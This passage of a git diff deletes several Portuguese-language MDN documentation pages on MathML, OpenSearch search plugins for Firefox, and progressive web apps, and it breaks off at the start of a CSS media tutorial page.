-<p><strong>Prova:</strong> Podemos provar o teorema algebricamente mostrando que a área do quadrado grande é igual à área do quadrado interior (hipotenusa ao quadrado) mais a área dos quatro triângulos:<math style="display: block;"><mtable columnalign="right center left"><mtr><mtd><msup><mrow><mo>( </mo> <mi> a </mi> <mo> + </mo> <mi> b </mi> <mo> ) </mo> </mrow> <mn> 2 </mn> </msup> </mtd> <mtd> <mo> = </mo> </mtd> <mtd> <msup><mi> c </mi><mn>2</mn></msup> <mo> + </mo> <mn> 4 </mn> <mo> ⋅ </mo> <mo>(</mo> <mfrac> <mn> 1 </mn> <mn> 2 </mn> </mfrac> <mi> a </mi><mi> b </mi> <mo>)</mo>                               </mtd> </mtr> <mtr> <mtd> <msup><mi> a </mi><mn>2</mn></msup> <mo> + </mo> <mn> 2 </mn><mi> a </mi><mi> b </mi> <mo> + </mo> <msup><mi> b </mi><mn>2</mn></msup> </mtd> <mtd> <mo> = </mo> </mtd> <mtd> <msup><mi> c </mi><mn>2</mn></msup> <mo> + </mo> <mn> 2 </mn><mi> a </mi><mi> b</mi></mtd></mtr><mtr><mtd></mtd></mtr><mtr><mtd><msup><mi>a </mi><mn>2</mn></msup> <mo> + </mo> <msup><mi> b </mi><mn>2</mn></msup> </mtd> <mtd> <mo> = </mo> </mtd> <mtd> <msup><mi> c </mi><mn>2</mn></msup> </mtd> </mtr> </mtable> </math></p>
diff --git a/files/pt-pt/web/mathml/index.html b/files/pt-pt/web/mathml/index.html
deleted file mode 100644
index 2a170729a1..0000000000
--- a/files/pt-pt/web/mathml/index.html
+++ /dev/null
@@ -1,72 +0,0 @@
----
-title: MathML
-slug: Web/MathML
-tags:
- - Landing
- - MathML
- - Referencia
- - Web
- - XML
-translation_of: Web/MathML
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary"><strong>MathML (Linguagem de Marcação Matemática)</strong> é um dialeto de <a href="/pt-PT/docs/Web/XML">XML</a> para descrever a notação matemática e capturar ambos na sua estrutura e conteúdo.</p>
-
-<p>Aqui vai encontrar hiperligações para documentação, exemplos, e ferramentas que ajudarão o seu trabalho com esta tecnologia poderosa. Para uma rápida visão geral, veja  os <a href="https://fred-wang.github.io/MozSummitMathML/index.html">slides para as feiras de inovação no Mozilla Summit 2013</a>.</p>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 id="Referência_de_MathML">Referência de MathML</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/MathML/Element">Referencia de elementos MathML</a></dt>
- <dd>Detalhes acerca de cada elemento MathML e informação de compatibilidade para navegadores em computadores e telemóveis.</dd>
- <dt><a href="/pt-PT/docs/Web/MathML/Attribute">Referencia de atributos MathML</a></dt>
- <dd>Informação sobre atributos MathML que modificam a aparência ou o comportamento de elementos.</dd>
- <dt><a href="/pt-PT/docs/Web/MathML/Examples">Exemplos de MathML</a></dt>
- <dd>Exemplos e vinhetas de MathML para ajudar a entender como a tecnologia funciona.</dd>
- <dt><a href="/pt-PT/docs/Web/MathML/Authoring">Redigir MathML</a></dt>
- <dd>Sugestões e dicas para escrever MathML, incluindo editores e como integrar o seu resultado em conteúdo da web.</dd>
-</dl>
-
-<p><a href="/pt-PT/docs/tag/MathML">Ver Tudo...</a></p>
-</div>
-
-<div class="section">
-<h2 id="Obter_ajuda_da_comunidade">Obter ajuda da comunidade</h2>
-
-<ul>
- <li>Ver fóruns da Mozilla...<br>
- {{ DiscussionList("dev-tech-mathml", "mozilla.dev.tech.mathml") }}</li>
- <li><a href="irc://irc.mozilla.org/%23mathml" rel="external" title="#mathml">Canal de IRC</a></li>
- <li><a href="https://wiki.mozilla.org/MathML:Home_Page">Wiki utilizada pelos colaboradores da Mozilla</a></li>
- <li><a href="https://www.w3.org/Math/" title="http://www.w3.org">Pagina Inicial da Matemática W3C</a></li>
- <li><a href="https://lists.w3.org/Archives/Public/www-math/" title="http://lists.w3.org">www-math w3.org arquivo de correio eletrónico</a></li>
-</ul>
-
-<h2 id="Ferramentas">Ferramentas</h2>
-
-<ul>
- <li><a href="https://validator.w3.org" title="http://validator.w3.org">Validador W3C</a></li>
- <li><a href="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/">Mathzilla Firefox coleção de Add-Ons</a></li>
- <li><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> — Convertedor de Javascript LaTeX para MathML (<a href="https://fred-wang.github.io/TeXZilla/" title="http://fred-wang.github.io">live demo</a>, <a href="https://r-gaia-cs.github.io/TeXZilla-webapp/" title="http://r-gaia-cs.github.io">Firefox OS webapp</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/texzilla/">Firefox add-on</a>, <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla">using in a Web Page, JS program etc</a>)</li>
- <li><a href="http://dlmf.nist.gov/LaTeXML/" title="http://dlmf.nist.gov">LaTeXML</a> - Convertedor de documentos LaTeX em páginas HTML+MathML</li>
- <li><a href="https://www.mathjax.org/" title="http://www.mathjax.org">MathJax</a> - Motor de visualização de JavaScript cross-browser para matemática. Para forçar o MathJax a utilizar MathML nativo, tente <a href="https://addons.mozilla.org/en-US/firefox/addon/mathjax-native-mathml/">este add-on Mozilla</a>, <a href="https://fred-wang.github.io/mathjax-native-mathml-safari/mathjax-native-mathml.safariextz">esta extensão Safari</a> ou <a href="https://openuserjs.org/scripts/fred.wang/MathJax_Native_MathML/">este script do GreaseMonkey</a>.</li>
-</ul>
-
-<h2 id="Tópicos_relacionados">Tópicos relacionados</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/CSS">CSS</a></li>
- <li><a href="/pt-PT/docs/Web/HTML">HTML</a></li>
- <li><a href="/pt-PT/docs/Web/SVG">SVG</a></li>
-</ul>
-</div>
-</div>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-<div class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se quiser contribuir com os dados, por favor, consulte  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um pedido de submissão.</div>
-
-<p>{{Compat("mathml.elements.math", 0)}}</p>
diff --git a/files/pt-pt/web/mathml/index/index.html b/files/pt-pt/web/mathml/index/index.html
deleted file mode 100644
index 2c4f5fb273..0000000000
--- a/files/pt-pt/web/mathml/index/index.html
+++ /dev/null
@@ -1,11 +0,0 @@
----
-title: Índice de documentação de MathML
-slug: Web/MathML/Index
-tags:
- - MathML
- - Índice
-translation_of: Web/MathML/Index
----
-<div>{{MathMLRef}}</div>
-
-<p>{{Index("/pt-PT/docs/Web/MathML")}}</p>
diff --git a/files/pt-pt/web/opensearch/index.html b/files/pt-pt/web/opensearch/index.html
deleted file mode 100644
index c01f364497..0000000000
--- a/files/pt-pt/web/opensearch/index.html
+++ /dev/null
@@ -1,149 +0,0 @@
----
-title: Criando plugins OpenSearch para o Firefox
-slug: Web/OpenSearch
-tags:
- - Search plugins
-translation_of: Web/OpenSearch
-original_slug: Criando_plugins_OpenSearch_para_o_Firefox
----
-<h2 id="OpenSearch" name="OpenSearch">OpenSearch</h2>
-<p><a href="pt/Firefox_2">Firefox 2</a> suporta o formato de descrição <a class="external" href="http://opensearch.org/">OpenSearch</a> para plugins de busca. Plugins que usam a <a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/1.1#OpenSearch_description_document">OpenSearch description syntax</a> são compativeis com IE 7 e Firefox. Por causa disso, ele é o formato recomendado para uso na web.</p>
-<p>Firefox também suporta capacidades adicionais de busca não incluidos na <a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/1.1#OpenSearch_description_document">OpenSearch description syntax</a>, tais como as sugestões de busca e o elemento <code>SearchForm</code>. Este artigo terá fóco na criação de plugins de busca compativeis com a sintaxe OpenSearch e com suporte a essas caracteristicas específicas do Firefox.</p>
-<p>O arquivo de descrição OpenSearch também pode ser reconhecido automaticamente pelo browser como descrito em <a href="#Autodiscovery_of_search_plugins">Autodiscovery of search plugins</a>, e pode ser instalado atravéz de programação como descrito em <a href="pt/Adding_search_engines_from_web_pages">Adding search engines from web pages</a>.</p>
-<h2 id="Arquivo_de_descri.C3.A7.C3.A3o_OpenSearch" name="Arquivo_de_descri.C3.A7.C3.A3o_OpenSearch">Arquivo de descrição OpenSearch</h2>
-<p>O arquivo XML descrevendo um motor de busca é, na verdade, muito simples, sequindo o template abaixo. As seções em negrito devem ser customizadas de acordo com as necessidades específicas para o plugin do motor de busca que você está escrevendo.</p>
-<pre class="eval">&lt;OpenSearchDescription xmlns="<span class="nowiki">http://a9.com/-/spec/opensearch/1.1/</span>"
- xmlns:moz="<span class="nowiki">http://www.mozilla.org/2006/browser/search/</span>"&gt;
-&lt;ShortName&gt;<b>Nome do motor</b>&lt;/ShortName&gt;
-&lt;Description&gt;<b>Descrição do motor</b>&lt;/Description&gt;
-&lt;InputEncoding&gt;<b>Codificação de entrada</b>&lt;/InputEncoding&gt;
-&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,<b>Dados da imagem</b>&lt;/Image&gt;
-&lt;Url type="text/html" method="<b>método</b>" template="<b>URL de busca</b>"&gt;
- &lt;Param name="<b>Nome do parametro 1</b>" value="<b>Valor do parametro 1</b>"/&gt;
- ...
- &lt;Param name="<b>Nome do parametro N</b>" value="<b>Valor do parametro N</b>"/&gt;
-&lt;/Url&gt;
-&lt;Url type="application/x-suggestions+json" template="<b>URL de Sugestões</b>"/&gt;
-&lt;moz:SearchForm&gt;<b>URL do form de procura</b>&lt;/moz:SearchForm&gt;
-&lt;/OpenSearchDescription&gt;
-</pre>
-<dl>
- <dt>
- <b>Nome do motor</b></dt>
- <dd>
- Um nome curto para o motor de busca.</dd>
-</dl>
-<dl>
- <dt>
- <b>Descrição do motor</b></dt>
- <dd>
- Uma breve descrição do motor de busca.</dd>
-</dl>
-<dl>
- <dt>
- <b>Codificação de entrada</b></dt>
- <dd>
- A codificação que será usada na entrada de dados do motor de busca. Ex:UTF8</dd>
-</dl>
-<dl>
- <dt>
- <b>Dados da imagem</b></dt>
- <dd>
- Um icone de representação para o motor de busca de tamanho 16x16 e codificado em Base-64. Uma ferramente muito boa que você pode usar para construir os dados para colocar aqui pode ser encontrado aqui: <a class="external" href="http://software.hixie.ch/utilities/cgi/data/data">The data: URI kitchen</a>.</dd>
-</dl>
-<dl>
- <dt>
- <b>Url</b></dt>
- <dd>
- Descreve a URL ou URLs para usar na busca. O atributo <code>method</code> indica quando usar requisição <code>GET</code> ou <code>POST</code> para buscar os resultados. O atributo <code>template</code> indica a URL base para a pesquisa.</dd>
- <dd>
- <div class="note">
- <b>Nota:</b> Internet Explorer 7 não suporta requisições via <code>POST</code>.</div>
- </dd>
-</dl>
-<dl>
- <dd>
- Existem dois tipos de URL que o Firefox suporta:</dd>
-</dl>
-<ul>
- <li><code>type="text/html"</code> é usado para especificar a URL da pesquisa atual em si.</li>
- <li><code>type="application/x-suggestions+json"</code> é usado para especiicar a URL em pesquisas com sugestões.</li>
-</ul>
-<dl>
- <dd>
- Para qualquer um desses tipos de URL, você pode usar o <code>{searchTerms}</code> para substituir os termos de busca colocados pelo usuário na barra de busca. Outros parâmetros dinâmicos de busca suportados estão descritos em <a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/1.1/Draft_3#OpenSearch_1.1_parameters">OpenSearch 1.1 parameters</a>.</dd>
-</dl>
-<dl>
- <dd>
- Para buscas com sugestões, o template de URL especificado é usado para trazer uma lista de sugestões no formato JavaScript Object Notation (JSON). Para detalhes de como implementear o suporte a sugestões de busca no servidor, olhe <a href="pt/Supporting_search_suggestions_in_search_plugins">Supporting search suggestions in search plugins</a>.</dd>
-</dl>
-<p><img alt="Image:SearchSuggestionSample.png"></p>
-<dl>
- <dt>
- <b>Parametros</b></dt>
- <dd>
- São os parametros que precisam ser passados juntamente com os dados da consulta, em pares Chave/Valor. Quando especificar valores, você pode usar o <code>{searchTerms}</code> para inserir os termos de busca colocados pelo usuário na barra de busca.</dd>
- <dd>
- <div class="note">
- <b>Nota:</b> Internet Explorer 7 não suporta este elemento.</div>
- </dd>
-</dl>
-<dl>
- <dt>
- <b>Forme de Busca</b></dt>
- <dd>
- É a URL da pagina de busca do site para qual o plugin de busca foi desenvolvido. Esta pagina será aberta quanda não forem informados termos na barra de busca. Isso provê um caminho para que os usuarios do firefox visitem o site diretamente.</dd>
- <dd>
- <div class="note">
- <b>Nota:</b> Sendo um elemento específico do Firefox, e não parte da especificação OpenSearch, nós usaremos o prefixo de nome XML "<code>moz:</code>" como no exemplo acima, para assegurar que outros navegadores que não suportam este elemento possam ignora-lo com segurança.</div>
- </dd>
-</dl>
-<h2 id="Descobrimento_automatico_de_plugins_de_busca" name="Descobrimento_automatico_de_plugins_de_busca">Descobrimento automatico de plugins de busca</h2>
-<p>Um site que oferece um plugin de busca pode anuncia-lo de forma que os usuarios do Firefox possam facilmente baixar e instalar o plugin.</p>
-<p>Para prover o Descobrimento automatico, você deve simplesmete adicionar uma linha de codigo na seção <code>&lt;head&gt;</code> de sua pagina web:</p>
-<pre class="eval">&lt;link rel="search" type="application/opensearchdescription+xml" title="<i>Titulo do buscador</i>" href="<i>URL do plugin</i>"&gt;
-</pre>
-<p>Substitua os itens em italico como explicado abaixo:</p>
-<dl>
- <dt>
- <b>Titulo do buscador</b></dt>
- <dd>
- O nome do buscador, como "Search MDC" ou "Yahoo! Search". Este valor deve corresponder ao nome do motor contido no arquivo do plugin.</dd>
-</dl>
-<dl>
- <dt>
- <b>URL do plugin</b></dt>
- <dd>
- A URL para o arquivo XML do plugin de busca, de onde o browser poderá baixa-lo.</dd>
-</dl>
-<p>Se o seu site oferece multiplos plugins de busca, você poderá dar suporte ao descobrimento automatico a todos eles. Por exemplo:</p>
-<pre class="eval">&lt;link rel="search" type="application/opensearchdescription+xml" title="Meu Site: Por Autor" href="<a class="external" href="http://www.meusite.com/meusiteautor.xml" rel="freelink">http://www.meusite.com/meusiteautor.xml</a>"&gt;
-&lt;link rel="search" type="application/opensearchdescription+xml" title="Meu Site: Por Titulo" href="<a class="external" href="http://www.meusite.com/meusitetitulo.xml" rel="freelink">http://www.meusite.com/meusitetitulo.xml</a>"&gt;
-</pre>
-<p>Desta maneira, seu site pode oferecer plugins de busca tanto para autores quanto para titulos como entidades separadas.</p>
-<h2 id="Solucionando_Problemas" name="Solucionando_Problemas">Solucionando Problemas</h2>
-<p>Se existe um erro em seu código XML do plugin de busca, você pode acessar os erros quando estiver adicionando um plugin descoberto no Firefox 2. A mensagem de erro pode não lhe ajudar completamente, mas, seguir as dicas abaixo deve ajudar você a encontrar o problema.</p>
-<ul>
- <li>Certifique-se que o XML do seu Plugin de Busca está bem formatado. Você pode checar isto carregando o arquivo diretamente no Firefox. &amp; no template URL deve ser usado como &amp;amp; e tags devem ser fechadas com uma barra ou tag final correspondente..</li>
-</ul>
-<pre class="eval">&lt;shortName <strong>/</strong>&gt;
-&lt;shortName&gt;Google search&lt;<strong>/</strong>shortName&gt;
-</pre>
-<ul>
- <li>O atributo <code>xmlns</code> é importante, sem ele você pode obter uma mensagem de erro indicando que "O Firefox não pôde baixar o plugin de busca de: (URL)".</li>
- <li>Note que você <strong>deve</strong> incluir uma URL <code>text/html</code> — plugins de busca incluindo somente os tipos de URL Atom ou <a href="/pt/RSS" title="pt/RSS">RSS</a> (que são válidos, mas o Firefox não suporta) também gerarão o erro "não foi possível baixar o plugin de busca".</li>
- <li>Favicons buscados remotamente não devem ser maiores do que 10KB (veja {{ Bug(361923) }}).</li>
-</ul>
-<p>Além disso, o serviço de plugin de busca proporciona um mecanismo de log que pode ser útil para desenvolvedores de plugins. Use <em>about:config</em> para configurar a preferência '<code>browser.search.log</code>' para <code>true</code> (verdadeira). Informações do log aparecerão no Console de Erros do Firefox (<a href="/pt/Error_Console" title="pt/Error_Console">Error Console</a>)(Ferramentas -&gt; Console de Erros) quando os plugins de busca forem adicionados.</p>
-<h2 id="Material_de_Referencia" name="Material_de_Referencia">Material de Referência</h2>
-<ul>
- <li><a class="external" href="http://rodrigok.890m.com/firefox/">Plugins de busca adicionais</a>, instalação e codigo fonte.</li>
- <li><a class="external" href="http://opensearch.org/">OpenSearch Documentation</a>, <a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/Extensions/Parameter/1.0">OpenSearch Documentation about the Url and Param element</a></li>
- <li>Technorati.com has a <a class="external" href="http://technorati.com/osd.xml">working osd.xml</a></li>
- <li>More on Autodiscovery difficulties at bugzilla {{ Bug(340208) }}</li>
- <li><a class="external" href="http://en.wikipedia.org/wiki/Data:_URI_scheme"><code>data:</code> URI scheme</a></li>
- <li><a class="external" href="http://www.searchplugins.net">searchplugins.net</a> - create OpenSearch plugins for use with Firefox 2. <a class="external" href="http://www.searchplugins.net/pluginlist.aspx">List of generated search plugins</a></li>
- <li><a class="external" href="http://keijisaito.info/ready2search/e/">Ready2Search</a> - create OpenSearch plugins. <a class="external" href="http://keijisaito.info/arc/search/en_make_plugin.htm">Customized Search through Ready2Search</a></li>
-</ul>
-<p><span class="comment">Interwiki link</span></p>
-<p>{{ languages( { "ca": "ca/Creaci\u00f3_de_connectors_OpenSearch_per_al_Firefox", "en": "en/Creating_OpenSearch_plugins_for_Firefox", "es": "es/Creaci\u00f3n_de_plugins_OpenSearch_para_Firefox", "fr": "fr/Cr\u00e9ation_de_plugins_OpenSearch_pour_Firefox", "ja": "ja/Creating_OpenSearch_plugins_for_Firefox", "pl": "pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa" } ) }}</p>
diff --git a/files/pt-pt/web/progressive_web_apps/developer_guide/index.html b/files/pt-pt/web/progressive_web_apps/developer_guide/index.html
deleted file mode 100644
index ff532a28f1..0000000000
--- a/files/pt-pt/web/progressive_web_apps/developer_guide/index.html
+++ /dev/null
@@ -1,78 +0,0 @@
----
-title: PWA - Guia de programação
-slug: Web/Progressive_web_apps/Developer_guide
-tags:
- - Aplicações
- - Aplicações da Web progressivas
- - Apps
- - Guia de Programação
- - Landing
- - Off-line
- - PWA
- - Persistente
- - Web
- - progressivo
-translation_of: Web/Progressive_web_apps/Developer_guide
-original_slug: Web/Progressive_web_apps/Guia_de_programacao
----
-<p>{{draft}}</p>
-
-<p><span class="seoSummary">Nos artigos listados aaui, irá encontrar guias sobre cada aspeto da programação para a geração de aplicações da Web progressivas (PWAs).</span> For all other documentation about web development, which generally pertains to PWAs as well, see our primary <a href="/en-US/docs/Web">web development documentation</a>.</p>
-
-<p><strong>---&gt;&gt;&gt; Titles below are just for the list; give articles good SEO names and feel free to tweak those and this as needed... &lt;&lt;&lt;---</strong></p>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 class="Basics" id="Básico_da_aplicação_da_Web">Básico da aplicação da Web</h2>
-
-<dl>
- <dt>Introduction and getting started with PWA development</dt>
- <dd>some description</dd>
- <dt><a href="/en-US/docs/Web/Progressive_web_apps/Developer_guide/Installing">Installing and uninstalling web apps</a></dt>
- <dd>An introductory guide to how a web app can be installed on the user's device...</dd>
- <dt>Using service workers to run offline</dt>
- <dd>description</dd>
- <dt>Alerting the user using notifications</dt>
- <dd>description</dd>
- <dt>Creating a web app from an existing site</dt>
- <dd>description</dd>
-</dl>
-
-<h2 id="Tópicos_avançados">Tópicos avançados</h2>
-
-<dl>
- <dt>Pushing data from the server to your web application</dt>
- <dd>some description</dd>
- <dt>Resource management</dt>
- <dd>description</dd>
- <dt>Integration with the host device</dt>
- <dd>description</dd>
- <dt>Security and privacy</dt>
- <dd>description</dd>
- <dt>Gaming topics for web app developers</dt>
- <dd>description</dd>
-</dl>
-</div>
-
-<div class="section">
-<h2 class="Polishing" id="Polishing_web_apps">Polishing web apps</h2>
-
-<dl>
- <dt>Web API equivalents for common native APIs</dt>
- <dd>some description</dd>
- <dt>Platform-specific tips and issues</dt>
- <dd>description</dd>
- <dt>Web application performance guide</dt>
- <dd>description</dd>
- <dt>Ensuring a good user experience</dt>
- <dd>description</dd>
-</dl>
-
-<h2 class="landingPageList" id="Tópicos_relacionados">Tópicos relacionados</h2>
-
-<dl>
- <dt>some topic</dt>
- <dd>some description</dd>
-</dl>
-</div>
-</div>
diff --git a/files/pt-pt/web/progressive_web_apps/index.html b/files/pt-pt/web/progressive_web_apps/index.html
deleted file mode 100644
index 8758f24575..0000000000
--- a/files/pt-pt/web/progressive_web_apps/index.html
+++ /dev/null
@@ -1,107 +0,0 @@
----
-title: Aplicações da Web progressivas
-slug: Web/Progressive_web_apps
-tags:
- - Aplicação da Web
- - Aplicações
- - Aplicações da Web modernas
- - Aplicações da Web progressivas
- - App
- - PWA
-translation_of: Web/Progressive_web_apps
----
-<p>{{draft}}</p>
-
-<p class="summary"><img alt="PWA community logo" src="https://mdn.mozillademos.org/files/16742/pwa.png" style="display: block; float: left; height: 188px; margin: 0px auto; padding-bottom: 1em; padding-right: 2em; width: 350px;"><strong>Aplicações da Web Progressivas</strong> são aplicações da Web que utilizam APIs e funcionaldiades emergentes do navegador da Web, juntamente com a estratégia tradicional de melhoramento progressivo, para trazer uma experiência do utilziador semelhante a uma aplicação nativa para as aplicações da Web de plataforma cruzada. Progressive Web Apps are a useful design pattern, though they aren't a formalized standard. PWA can be thought of as similar to AJAX or other similar patterns that encompass a set of application attributes, including use of specific web technologies and techniques. This set of docs tells you all you need to know about them.</p>
-
-<p>In order to call a Web App a PWA, technically speaking it should have the following features: <a href="/en-US/docs/Web/Security/Secure_Contexts">Secure contexts</a> (<strong>{{Glossary("HTTPS")}}</strong>), one or more <a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a>, and a <a href="/en-US/docs/Web/Manifest">manifest file</a>.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Web/Security/Secure_Contexts">Secure contexts</a> (<a href="/en-US/docs/Glossary/https">HTTPS</a>)</dt>
- <dd>The web application must be served over a secure network. Being a secure site is not only a best practice, but it also establishes your web application as a trusted site especially if users need to make secure transactions. Most of the features related to a PWA such as geolocation and even service workers are available only once the app has been loaded using HTTPS.</dd>
- <dt><a href="/en-US/docs/Web/API/Service_Worker_API">Service workers</a></dt>
- <dd>A service worker is a script that allows intercepting and control of how a web browser handles its network requests and asset caching. With service workers, web developers can create reliably fast web pages and offline experiences.</dd>
- <dt><a href="/en-US/docs/Web/Manifest">Manifest file</a></dt>
- <dd>A {{Glossary("JSON")}} file that controls how your app appears to the user and ensures that progressive web apps are discoverable. It describes the name of the app, the start URL, icons, and all of the other details necessary to transform the website into an app-like format.</dd>
-</dl>
-
-<h2 id="Vantagens_de_PWA">Vantagens de PWA</h2>
-
-<p>PWAs should be discoverable, installable, linkable, network independent, progressive, re-engageable, responsive, and safe. To find out more about what these mean, read <a href="/en-US/docs/Web/Progressive_web_apps/Advantages">Progressive web app advantages</a>.</p>
-
-<p>Para saber como implementar as PWAs, consulte o nosso <a href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/Progressive_web_apps/Developer_guide">guia de programação PWA</a>.</p>
-
-<h2 id="Documentação">Documentação</h2>
-
-<p><strong>&lt;-- The temporary automatic list below will be replaced soon --&gt;</strong></p>
-
-<p>{{LandingPageListSubpages}}</p>
-
-<div class="blockIndicator warning">
-<p><strong>Everything below this point is left over from the old version of this page and will be revamped as other content is overhauled.</strong></p>
-</div>
-
-<h2 id="Guias_de_PWA_núcleo">Guias de PWA núcleo</h2>
-
-<p>The following guides show you what need to do to implement a PWA, by examining a simple example and showing you how all the pieces work.</p>
-
-<ol>
- <li><a href="/en-US/docs/Web/Progressive_web_apps/Introduction">Introduction to progressive web apps</a></li>
- <li><a href="/en-US/docs/Web/Progressive_web_apps/App_structure">Progressive web app structure</a></li>
- <li><a href="/en-US/docs/Web/Progressive_web_apps/Offline_Service_workers">Making PWAs work offline with Service workers</a></li>
- <li><a href="/en-US/docs/Web/Progressive_web_apps/Installable_PWAs">How to make PWAs installable</a></li>
- <li><a href="/en-US/docs/Web/Progressive_web_apps/Re-engageable_Notifications_Push">How to make PWAs re-engageable using Notifications and Push</a></li>
- <li><a href="/en-US/docs/Web/Progressive_web_apps/Loading">Progressive loading</a></li>
- <li><a href="https://pwafire.org">Collection of resources, codelabs and tools you need to build PWAs by the team at pwafire.org</a></li>
- <li><a href="https://github.com/pwafire/pwadev-tips">Setting up your Progressive Web App Development environment</a></li>
-</ol>
-
-<div class="column-container">
-<div class="column-half">
-<h2 id="Guias_de_tecnologia">Guias de tecnologia</h2>
-
-<ul>
- <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Client-side storage</a> — A lengthy guide showing how and when to use web storage, IndexedDB, and service workers.</li>
- <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using service workers</a> — A more in-depth guide covering the Service Worker API.</li>
- <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a> — The fundamentals of IndexedDB, explained in detail.</li>
- <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a> — The Web storage API made simple.</li>
- <li><a class="external external-icon" href="https://developers.google.com/web/updates/2015/11/app-shell" rel="noopener">Instant Loading Web Apps with An Application Shell Architecture</a> — A guide to using the App Shell coding pattern to create apps that load quickly.</li>
- <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API">Using the Push API</a> — Learn the essentials behind the Web Push API.</li>
- <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a> — Web notifications in a nutshell.</li>
- <li><a href="/en-US/docs/Web/Apps/Modern/Responsive/responsive_design_building_blocks">The building blocks of responsive design</a> — Learn the basics of responsive design, an essential topic for modern app layout.</li>
- <li><a href="/en-US/docs/Web/Apps/Modern/Responsive/Mobile_first">Mobile first</a> — Often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top.</li>
- <li><a href="/en-US/docs/Web/Apps/Progressive/Add_to_home_screen">Add to home screen guide</a> — Learn how your apps can take advantage of Add to home screen (A2HS).</li>
-</ul>
-</div>
-
-<div class="column-half">
-<h2 id="Ferramentas">Ferramentas</h2>
-
-<ul>
- <li><a class="external external-icon" href="https://localforage.github.io/localForage/" rel="noopener">localForage</a> — A nice simple JavaScript library for making client-side data storage really simple; it uses IndexedDB by default and falls back to Web SQL/Web Storage if necessary.</li>
- <li><a class="external external-icon" href="https://github.com/fxos-components/serviceworkerware" rel="noopener">ServiceWorkerWare</a> — An <em>Express-like</em> microframework for easy Service Worker development.</li>
- <li><a class="external external-icon" href="https://github.com/mozilla/oghliner" rel="noopener">oghliner</a> — Not only a template but a tool for deploying Offline Web Apps to GitHub Pages.</li>
- <li><a class="external external-icon" href="https://github.com/GoogleChrome/sw-precache" rel="noopener">sw-precache</a> — A node module to generate service worker code that will precache specific resources.</li>
- <li><a class="external external-icon" href="https://github.com/GoogleChrome/workbox" rel="noopener">workbox</a> — Spiritual successor to sw-precache with more advanced caching strategies and easy precaching.</li>
- <li><a class="external external-icon" href="https://www.talater.com/upup/" rel="noopener">upup</a> — A tiny script that makes sure your site is always there for your users.</li>
- <li><a class="external external-icon" href="https://serviceworke.rs/" rel="noopener">The service worker cookbook</a> — A series of excellent service worker/push recipes, showing how to implement an offline app, but also much more.</li>
- <li><a href="https://marketplace.visualstudio.com/items?itemName=mayeedwin.vscode-pwa">PWA VS Code extension</a> - A collection of all essential code snippets you need to build Progressive Web Apps right there in your VS Code environment.</li>
-</ul>
-</div>
-</div>
-
-<ul>
- <li><a href="https://developers.google.com/web/progressive-web-apps">Progressive web apps</a> on Google Developers.</li>
- <li><a href="https://medium.com/@slightlylate/progressive-apps-escaping-tabs-without-losing-our-soul-3b93a8561955#.6czgj0myh">Progressive Web Apps: Escaping Tabs Without Losing Our Soul</a> by Alex Russell.</li>
- <li><a href="https://developers.google.com/web/progressive-web-apps/checklist">Progressive Web Apps Check List</a>.</li>
- <li><a href="https://developers.google.com/web/tools/lighthouse">The Lighthouse Tool</a> by Google.</li>
- <li><a href="https://github.com/angular/mobile-toolkit">Tools for building progressive web apps with Angular</a>.</li>
- <li><a href="https://github.com/codebusking/react-pwa-guide-kit">React PWA Guide Kit</a>.</li>
- <li><a href="https://pokedex.org/">Offline-capable Pokédex web site</a>.</li>
- <li><a href="https://hnpwa.com/">Hacker News readers as Progressive Web Apps</a>.</li>
- <li><a href="https://goingmeta.io/dienstleistungen/progressive-web-app/">Progressive Web App: Advantages in a nutshell</a></li>
- <li><a href="https://ymedialabs.com/progressive-web-apps">Why Progressive Web Apps Are The Future of Mobile Web (2019 Research)</a>.</li>
- <li><a href="https://www.csschopper.com/blog/progressive-web-apps-everything-you-need-to-know/">Progressive Web Apps: Everything You Need To Know</a></li>
-</ul>
-
-<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</div>
diff --git a/files/pt-pt/web/progressive_web_apps/responsive/media_types/index.html b/files/pt-pt/web/progressive_web_apps/responsive/media_types/index.html
deleted file mode 100644
index c8ec43cff3..0000000000
--- a/files/pt-pt/web/progressive_web_apps/responsive/media_types/index.html
+++ /dev/null
@@ -1,434 +0,0 @@
----
-title: Média
-slug: Web/Progressive_web_apps/Responsive/Media_types
-tags:
- - CSS:Como_começar
-translation_of: Web/Progressive_web_apps/Responsive/Media_types
-original_slug: Web/CSS/Como_começar/Mídia
----
-<p>{{ PreviousNext("CSS:Como começar:Tabelas", "CSS:Como começar:JavaScript") }}</p>
-
-<p>Muitas das páginas neste tutorial focalizaram nas propriedades e nos valores das CSS que você pode usar para especificar o modo de exibir o documento.</p>
-
-<p>Esta página mostra novamente a proposta e a estrutura das folhas de estilo CSS.</p>
-
